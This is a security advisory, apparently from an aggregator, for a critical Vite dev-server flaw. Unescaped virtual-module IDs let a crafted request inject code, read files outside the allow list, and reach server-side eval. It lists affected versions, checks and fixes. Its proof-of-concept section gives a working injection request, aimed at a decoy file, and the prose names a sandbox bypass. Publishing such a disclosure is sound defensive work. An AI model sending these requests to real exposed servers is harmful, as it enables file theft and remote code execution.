---
id: "GHSA-p4f5-76q4-ffq7"
page: "https://infrastack.ai/live/GHSA-p4f5-76q4-ffq7"
kind: "vulnerability"
aliases: ["GHSA-p4f5-76q4-ffq7"]
title: "Remote code execution using `__vite-browser-external` virtual module"
severity: "critical"
cvss: 9.1
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "vite", "note": ">=8.3.0,<=8.3.6", "fixed": ["8.3.7"], "affected": ">= 8.3.0, <= 8.3.6", "ecosystem": "npm"}, {"name": "vite", "note": ">=8.2.0,<=8.2.4", "fixed": ["8.2.5"], "affected": ">= 8.2.0, <= 8.2.4", "ecosystem": "npm"}, {"name": "vite", "note": ">=8.0.0,<=8.1.6", "fixed": ["8.1.7"], "affected": ">= 8.0.0, <= 8.1.6", "ecosystem": "npm"}, {"name": "vite", "note": ">=7.0.0,<=7.3.7", "fixed": ["7.3.8"], "affected": ">= 7.0.0, <= 7.3.7", "ecosystem": "npm"}, {"name": "vite", "note": ">= 4.0.0,<=6.4.5", "fixed": ["6.4.6"], "affected": ">= 4.0.0, <= 6.4.5", "ecosystem": "npm"}, {"name": "vite-plus", "note": "<=1.5.0", "fixed": ["1.5.1"], "affected": "<= 1.5.0", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["cwe-116", "dev-server", "npm", "package", "vite", "vite-plus"]
not_affected_if: ["default-config", "localhost-only-dev-server", "production-build-only"]
published_at: "2026-11-10T01:35:55+00:00"
first_seen_at: "2026-11-10T01:42:36+00:00"
updated_at: "2026-11-10T01:44:35+00:00"
sources: [{"source": "ghsa-repo", "url": "https://github.com/vitejs/vite/security/advisories/GHSA-p4f5-76q4-ffq7", "first_seen_at": "2026-11-10T01:42:36+00:00"}]
exploit_sources: []
---

# Remote code execution using `__vite-browser-external` virtual module

Link for people: https://infrastack.ai/live/GHSA-p4f5-76q4-ffq7 (this .md is for agents)

A crafted HTTP request to the Vite dev server injects code into a virtual module, which the server then evaluates. An attacker can run code on the machine and read files outside the allowed serving list.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:vite affected >= 8.3.0, <= 8.3.6 fixed 8.3.7
- npm:vite affected >= 8.2.0, <= 8.2.4 fixed 8.2.5
- npm:vite affected >= 8.0.0, <= 8.1.6 fixed 8.1.7
- npm:vite affected >= 7.0.0, <= 7.3.7 fixed 7.3.8
- npm:vite affected >= 4.0.0, <= 6.4.5 fixed 6.4.6
- npm:vite-plus affected <= 1.5.0 fixed 1.5.1

## How to check

- Run `npm ls vite` in the project and compare the installed version with the fixed versions below.
- Check whether the dev server is started with `--host` or has `server.host` set in the Vite config, since only exposed servers are affected.

## Fix

- `vite` 8.3.7 for the 8.3.x line
- `vite` 8.2.5 for the 8.2.x line
- `vite` 8.1.7 for the 8.1.x line
- `vite` 7.3.8 for the 7.x line
- `vite` 6.4.6 for the 4.x to 6.x range
- `vite-plus` 1.5.1 for versions up to 1.5.0

## Timeline

- 2026-11-10T01:42:36+00:00 ghsa-repo https://github.com/vitejs/vite/security/advisories/GHSA-p4f5-76q4-ffq7

## Documents

- [advisory] Maintainer's advisory: github.com https://github.com/vitejs/vite/security/advisories/GHSA-p4f5-76q4-ffq7

## From the sources

### Summary

By sending an HTTP request to the dev server, a arbitrary code execution was possible.

### Impact

Only apps that match the following condition are affected:

- explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host))

### Details

Vite's resolver plugin has `__vite-browser-external:<suffix>` virtual module and `__vite-optional-peer-dep:<suffix>` virtual module. These modules embedded the module ID, which is derived from the URL, without escaping. The `<suffix>` can be any value, so any code was able to be injected in those modules.

Since Vite trusts the module code, there was two problems with this injection.

First, the modules referenced by a module are allowed for the `server.fs` check. For example, if the attacker injects `import '/path/to/some-secret-file.txt'`, `/path/to/some-secret-file.txt` can be fetched.

Second, Vite uses `eval` to extract the value in the module code for `new Worker` and `import.meta.glob`. By using that functionality, the attacker can make Vite evaluate the injected code on the server. Vite prevents some module / global variables like `exports`, `require` to avoid bugs, but because this is not a security boundary, there's a bypass like `globalThis.process.getBuiltinModule`.

### PoC

```sh
printf 'CANARY-SECRET-not-valid-js\n' > /tmp/decoy-secret.txt   # outside the project
vite
```
`/tmp/decoy-secret.txt` stands in for any sensitive file outside the allow list.

1. Check that the target is correctly blocked. `GET /@fs/tmp/decoy-secret.txt` returns 403 Restricted ("outside of Vite serving allow list").
2. Perform the injection. Send a request carrying the crafted id (it is shown decoded. \n are real newlines in the sent URL, percent-encoded on the wire):
   ```
   GET /@id/__vite-browser-external:`);}});
   import '/@fs/tmp/decoy-secret.txt';
   var z=new Proxy({}, {get(_, key) {throw new Error(`?import
   ```
   This pulls `/tmp/decoy-secret.txt` into the module graph.
3. Extract the file. `GET /@fs/tmp/decoy-secret.txt` returns the content in the body (`CANARY-SECRET-not-valid-js`).

### Notes on the fixes

The vulnerable code in v8 lives in the Rolldown binary. The code is only meant to be used by Vite and thus the report is not linked to Rolldown. Vite 8.3.7 and Vite 8.2.5 relies on the fix in Rolldown 1.2.17. Vite 8.1.7 relies on the fix in Rolldown 1.1.7.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
